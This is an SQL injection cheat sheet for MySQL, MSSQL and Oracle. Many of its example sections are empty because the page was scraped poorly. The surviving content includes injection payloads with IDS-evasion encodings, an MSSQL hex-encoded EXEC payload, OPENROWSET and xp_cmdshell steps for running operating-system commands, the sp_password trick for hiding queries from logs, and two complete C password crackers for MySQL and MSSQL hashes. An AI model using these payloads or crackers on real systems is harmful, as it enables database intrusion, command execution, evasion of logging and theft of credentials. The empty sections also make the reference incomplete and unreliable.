SQL Injection Pocket Reference

(SQL Injection Cheat Sheet)


  1. MySQL
    1. Default Databases
    2. Comment Out Query
    3. Testing Injection
      1. Strings
      2. Numeric
      3. In a login
    4. Testing Version
    5. MySQL-specific code
    6. Database Credentials
    7. Database Names
    8. Tables & Columns
      1. Finding out number of columns
        1. Order By
        2. Error Based
      2. Retrieving Tables
      3. Retrieving Columns
      4. PROCEDURE ANALYSE()
      5. Retrieving Multiple Tables/Columns at once
      6. Find Tables from Column Name
      7. Find Column From Table Name
    9. Avoiding the use of single/double quotations
    10. String concatenation
    11. Privileges
    12. FILE privilege
      1. MySQL 4/5
      2. MySQL 5
    13. Out Of Band Channeling
      1. Timing
      2. DNS (requires FILE privilege)
      3. SMB (requires FILE privilege)
    14. Reading Files (requires FILE privilege)
    15. Writing Files (requires FILE privilege)
    16. Stacked Queries with PDO
    17. User Defined Functions
    18. Fuzzing and Obfuscation
      1. Allowed Intermediary Characters
      2. Allowed Intermediary Characters after AND/OR
    19. Operators
    20. Constants
    21. MySQL Functions()
    22. MySQL Password Hashing
    23. MySQL Password() Cracker
  2. MSSQL
    1. Default Databases
    2. Comment Out Query
    3. Testing Version
    4. Database Credentials
    5. Database Server Hostname
    6. Database Names
    7. Tables & Columns
      1. Retrieving Tables
      2. Retrieving Columns
      3. Retrieving Multiple Tables/Columns at once
    8. OPENROWSET Attacks
    9. System Command Execution
    10. SP_PASSWORD (Hiding Query)
    11. Stacked Queries
    12. Fuzzing and Obfuscation
      1. Encodings
      2. Allowed Intermediary Characters
      3. Allowed Intermediary Characters after AND/OR
    13. MSSQL Password Hashing
    14. MSSQL Password Cracker
  3. ORACLE
    1. Default Databases
    2. Comment Out Query
    3. Testing Version
    4. Database Credentials
    5. Database Names
      1. Current Database
      2. User Databases
    6. Tables & Columns
      1. Retrieving Tables
      2. Retrieving Columns
      3. Finding Tables from Column Name
      4. Finding Column From Table Name
    7. Fuzzing and Obfuscation
      1. Avoiding the use of single/double quotations
    8. Out Of Band Channeling
      1. Time Delay
      2. Heavy Query Time delays



Credits


I would like to thank .mario, Reiners and everyone else who has helped me in making this document what it is today. You can reach me at twitter.com/LightOS with any suggestions you may have and remember this is still a work in progress, so be sure to check in frequently for updates.


MySQL


Default Databases


Comment Out Query


Example:

Note:
The backtick can only be used to end a query when used as an alias.

Testing Injection


Strings


Numeric

                

In a login


Example:

Note:

Testing Version


Example: ' AND MID(VERSION(),1,1) = '5  - True if MySQL version is 5

Note:
  • You can use comments in between the name and the parenthesis and inside the parenthesis
  • Example: VERSION/**/(/**/)
  • Output will contain -nt-log in case the DBMS runs on a Windows based machine

MySQL-specific code

MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number.

Example:

Database Credentials


Example:

Database Names


Example:

Tables & Columns

Finding out number of columns

Order By

Note:
Keep incrementing the number until you get a False response.

Example:

Error Based

Note:

Retrieving Tables


Note:

Retrieving Columns


Note:
The GROUP_CONCAT() function allows grouping of the tables/columns, instead of viewing them one at a time.

Note:

PROCEDURE ANALYSE()


Note:
It is necessary that the webapp will display the first selected column of the SQL query you are injecting to.


Retrieving Multiple Tables/Columns at once


Find Tables from Column Name


Find Column From Table Name


Avoiding the use of single/double quotations


String concatenation


Privileges

FILE privilege

MySQL 4/5

MySQL 5


Out Of Band Channeling

Timing


Example:


DNS (requires FILE privilege)


SMB (requires FILE privilege)


Reading Files (requires FILE privilege)


Note:

Writing Files (requires FILE privilege)


Note:

Stacked Queries with PDO

Stacked queries are possible when PHP uses the PDO_MYSQL driver to make a connection to the database.


Example:


User Defined Functions

UDF -R S 10/6/10 10:56 AM 

Fuzzing and Obfuscation

Allowed Intermediary Characters

  • 09
  • 0A
  • 0B
  • 0C
  • 0D
  • A0

Example: '%0A%09UNION%0CSELECT%10NULL%23


Example: UNION(SELECT(column)FROM(table))

Note:
Encoding your injection can sometimes be useful for IDS evasion.

Futhermore, by using # or -- followed by a newline, we can split the query into separate lines, sometimes tricking the IDS.

1'#
AND 0--
UNION# I am a comment!
SELECT@tmp:=table_name x FROM--
`information_schema`.tables LIMIT 1#

URL Encoded: 1'%23%0AAND 0--%0AUNION%23 I am a comment! %0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23

Allowed Intermediary Characters after AND/OR


Example: SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

$prefixes = array(" ", "+", "-", "~", "!", "@", " ");



Example: SELECT 1 FROM information_schema%20%0C%20.%20%09tables;

Operators

$operators = array("^", "=", "!=", "%", "/", "*", "&", "&&", "|", "||", "<", ">", ">>", "<<", ">=", "<=", "<>", "<=>", "AND", "OR", "XOR", "DIV", "LIKE", "RLIKE", "SOUNDS LIKE", "REGEXP", "IS", "NOT");

Constants


MySQL Functions()


MySQL Password Hashing

(Taken from Mysql.com)

Prior to MySQL 4.1, password hashes computed by the PASSWORD() function are 16 bytes long. Such hashes look like this:
+-----------------------------+
| PASSWORD('mypass')          |
+-----------------------------+
| 6f8c114b58f2ce9e            |
+-----------------------------+

As of MySQL 4.1, the PASSWORD() function has been modified to produce a longer 41-byte hash value:       

+-----------------------------------------------------------------------+
| PASSWORD('mypass')                                                    |
+-----------------------------------------------------------------------+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4                             |
+-----------------------------------------------------------------------+ 

MySQL Password() Cracker

Cain & Abel, JTR are capable of cracking MySQL 3.x-6.x passwords.

MySQL < 4.1 Password Cracker


<copypaste>
This tool is a high-speed brute-force password cracker for MySQL hashed passwords. It can break an 8-character password containing any printable ASCII characters in a matter of hours on an ordinary PC.

/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
  int i, c;
  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
  u32 newstate1, newstate2, newstate3;
  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
  i = -1;
  sum = 7;
  state1_ary[0] = 1345345333L;
  state2_ary[0] = 0x12345671L;

  while (1) {
    while (i < stop) {
      i++;
      pass_ary[i] = MIN_CHAR;
      step_ary[i] = (state1_ary[i] & 0x3f) + sum;
      xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
      sum += MIN_CHAR;
      state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
      state2_ary[i+1] = state2_ary[i]
        + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
    }

    state1 = state1_ary[i+1];
    state2 = state2_ary[i+1];
    step = (state1 & 0x3f) + sum;
    xor1 = step*MIN_CHAR + (state1 << 8);
    xor2 = (state2 << 8) ^ state1;

    for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
      newstate2 = state2 + (xor1 ^ xor2);
      newstate1 = state1 ^ xor1;

      newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
      div = (newstate1 & 0x3f) + sum + c;
      diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
      if (diff % div != 0) continue;
      d = diff / div;
      if (d < MIN_CHAR || d > MAX_CHAR) continue;

      div = (newstate3 & 0x3f) + sum + c + d;
      diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
      if (diff % div != 0) continue;
      e = diff / div;
      if (e < MIN_CHAR || e > MAX_CHAR) continue;

      pass_ary[i+1] = c;
      pass_ary[i+2] = d;
      pass_ary[i+3] = e;
      return 1;
    }

    while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
      sum -= MAX_CHAR;
      i--;
    }
    if (i < 0) break;
    pass_ary[i]++;
    xor_ary[i] += step_ary[i];
    sum++;
    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
    state2_ary[i+1] = state2_ary[i]
      + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
  }

  return 0;
}

void crack(char *hash)
{
  int i, len;
  u32 targ1, targ2, targ3;
  int pass[MAX_LEN];

  if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
    printf("Invalid password hash: %s\n", hash);
    return;
  }
  printf("Hash: %08lx%08lx\n", targ1, targ2);
  targ3 = targ2 - targ1;
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);

  for (len = 3; len <= MAX_LEN; len++) {
    printf("Trying length %d\n", len);
    if ( crack0(len-4, targ1, targ3, pass) ) {
      printf("Found pass: ");
      for (i = 0; i < len; i++)
        putchar(pass[i]);
      putchar('\n');
      break;
    }
  }
  if (len > MAX_LEN)
    printf("Pass not found\n");
}

int main(int argc, char *argv[])
{
  int i;
  if (argc <= 1)
    printf("usage: %s hash\n", argv[0]);
  for (i = 1; i < argc; i++)
    crack(argv[i]);
  return 0;
}

</copypaste>


MSSQL


Default Databases


Comment Out Query


Testing Version


Database Credentials


Example:

Database Server Hostname


Example:
SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition') --

Only available >= SQL Server 2005

Database Names


Example:
  • SELECT name FROM master..sysdatabases;
  • SELECT DB_NAME(5);

We can retrieve the tables/columns from two different databases, information_schema.tables, information_schema.columns or from master..sysobjects, masters..syscolumns.

Tables & Columns

Retrieving Tables


Note:
Xtype = 'U' is for User-defined tables. You can use 'V' for views.


Retrieving Columns


Retrieving Multiple Tables/Columns at once

The following 3 queries will create a temporary table/column and insert all the user-defined tables into it, it will then dump the table content and finish by deleting the table.  


Note:
You can encode your query in hex to "obfuscate" your attack.
' and 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--sp_password

OPENROWSET Attacks

SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"')

System Command Execution

Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.

EXEC master.dbo.xp_cmdshell 'cmd'

Prior to MSSQL 2005, xp_cmdshell is disabled by default, but can easily be activated with the following queries:

EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'xp_cmdshell', 1
EXEC sp_configure reconfigure

Alternatively, you can create your own procedure to achieve the same results

DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'

If the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command.

EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure

Example: 

This example checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the 'dir' command and inserts the results into TMP_DB.

SP_PASSWORD (Hiding Query)

Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.

Example: ' and 1=1--sp_password

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.

Stacked Queries


Fuzzing and Obfuscation

Encodings

Allowed Intermediary Characters


Example:

Note:
The percentage signs in between keywords is only possible on ASP


Example: UNION(SELECT(column)FROM(table))


Example: SELECT"table_name"FROM[information_schema].[tables]

Allowed Intermediary Characters after AND/OR


ExampleSELECT 1FROM[table]WHERE\1=\1AND\1=\1

Note:
The backslash doesn't seem to work with MSSQL 2000


MSSQL Password Hashing

Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercased version.

Example:
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE9 ...
1C0784B911D76BF4EB124550ACABDFD1457

MSSQL Password Cracker

/////////////////////////////////////////////////////////////////////////////////
//
//           SQLCrackCl
//
//           This will perform a dictionary attack against the
//           upper-cased hash for a password. Once this
//           has been discovered try all case variant to work
//           out the case sensitive password.
//
//           This code was written by David Litchfield to
//           demonstrate how Microsoft SQL Server 2000
//           passwords can be attacked. This can be
//           optimized considerably by not using the CryptoAPI.
//
//           (Compile with VC++ and link with advapi32.lib
//           Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
             int err = 0;
        if(argc !=3)
                  {
                            printf("\n\n*** SQLCrack *** \n\n");
                            printf("C:\\>%s hash passwd-file\n\n",argv[0]);
                            printf("David Litchfield (david@ngssoftware.com)\n");
                            printf("24th June 2002\n");
                            return 0;
                  }
        err = OpenPasswordFile(argv[2]);
        if(err !=0)
         {
           return printf("\nThere was an error opening the password file %s\n",argv[2]);
         }
        err = CrackPassword(argv[1]);
        fclose(fd);
        printf("\n\n%d",wd);
        return 0;
}
int OpenPasswordFile(char *pwdfile)
{
        fd = fopen(pwdfile,"r");
        if(fd)
                  return 0;
        else
                  return 1;
}
int CrackPassword(char *hash)
{
        char phash[100]="";
        char pheader[8]="";
        char pkey[12]="";
        char pnorm[44]="";
        char pucase[44]="";
        char pucfirst[8]="";
        char wttf[44]="";
        char uwttf[100]="";
        char *wp=NULL;
        char *ptr=NULL;
        int cnt = 0;
        int count = 0;
        unsigned int key=0;
        unsigned int t=0;
        unsigned int address = 0;
        unsigned char cmp=0;
        unsigned char x=0;
        HCRYPTPROV hProv=0;
        HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
          {
                  return printf("\nThe password hash is too short!\n");
          }
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
          {
                  hash = hash + 2;
                  strncpy(pheader,hash,4);
                  printf("\nHeader\t\t: %s",pheader);
                  if(strlen(pheader)!=4)
                            return printf("%s",lerr);
                  hash = hash + 4;
                  strncpy(pkey,hash,8);
                  printf("\nRand key\t: %s",pkey);
                  if(strlen(pkey)!=8)
                            return printf("%s",lerr);
                  hash = hash + 8;
                  strncpy(pnorm,hash,40);
                  printf("\nNormal\t\t: %s",pnorm);
                  if(strlen(pnorm)!=40)
                            return printf("%s",lerr);
                  hash = hash + 40;
                  strncpy(pucase,hash,40);
                  printf("\nUpper Case\t: %s",pucase);
                  if(strlen(pucase)!=40)
                            return printf("%s",lerr);
                  strncpy(pucfirst,pucase,2);
                  sscanf(pucfirst,"%x",&cmp);
          }
else
          {
                  return printf("The password hash has an invalid format!\n");
          }
printf("\n\n       Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                 ,0))
  {
          if(GetLastError()==NTE_BAD_KEYSET)
                  {
                            // KeySet does not exist. So create a new keyset
                            if(!CryptAcquireContext(&hProv,
                                                 NULL,
                                                 NULL,
                                                 PROV_RSA_FULL,
                                                 CRYPT_NEWKEYSET ))
                               {
                                        printf("FAILLLLLLL!!!");
                                        return FALSE;
                               }
           }
}
while(1)
         {
           // get a word to try from the file
           ZeroMemory(wttf,44);
           if(!fgets(wttf,40,fd))
              return printf("\nEnd of password file. Didn't find the password.\n");
           wd++;
           len = strlen(wttf);
           wttf[len-1]=0x00;
           ZeroMemory(uwttf,84);
           // Convert the word to UNICODE
           while(count < len)
                     {
                               uwttf[cnt]=wttf[count];
                               cnt++;
                               uwttf[cnt]=0x00;
                               count++;
                               cnt++;
                     }
           len --;
           wp = &uwttf;
           sscanf(pkey,"%x",&key);
           cnt = cnt - 2;
           // Append the random stuff to the end of
           // the uppercase unicode password
           t = key >> 24;
           x = (unsigned char) t;
           uwttf[cnt]=x;
           cnt++;
           t = key << 8;
           t = t >> 24;
         x = (unsigned char) t;
         uwttf[cnt]=x;
         cnt++;
         t = key << 16;
         t = t >> 24;
         x = (unsigned char) t;
         uwttf[cnt]=x;
         cnt++;
         t = key << 24;
         t = t >> 24;
         x = (unsigned char) t;
         uwttf[cnt]=x;
         cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
         {
                   printf("Error %x during CryptCreatHash!\n", GetLastError());
                   return 0;
         }
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
         {
                   printf("Error %x during CryptHashData!\n", GetLastError());
                   return FALSE;
         }
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
         {
                   // If first byte matches try the rest
                   ptr = pucase;
                   cnt = 1;
                   while(cnt < 20)
                   {
                               ptr = ptr + 2;
                               strncpy(pucfirst,ptr,2);
                               sscanf(pucfirst,"%x",&cmp);
                               if(szhash[cnt]==cmp)
                                        cnt ++;
                               else
                               {
                                        break;
                               }
                   }
                   if(cnt == 20)
                   {
                        // We've found the password
                        printf("\nA MATCH!!! Password is %s\n",wttf);
                        return 0;
                     }
             }
             count = 0;
             cnt=0;
           }
  return 0;
}


ORACLE


Default Databases


Comment Out Query


Testing Version


Database Credentials


Database Names

Current Database


User Databases


Tables & Columns

Retrieving Tables


Retrieving Columns


Finding Tables from Column Name


Finding Column From Table Name


Fuzzing and Obfuscation

Avoiding the use of single/double quotations

Unlike other RDBMS, Oracle allows us to reference table/column names encoded.



    Out Of Band Channeling

        Time Delay


        Heavy Query Time delays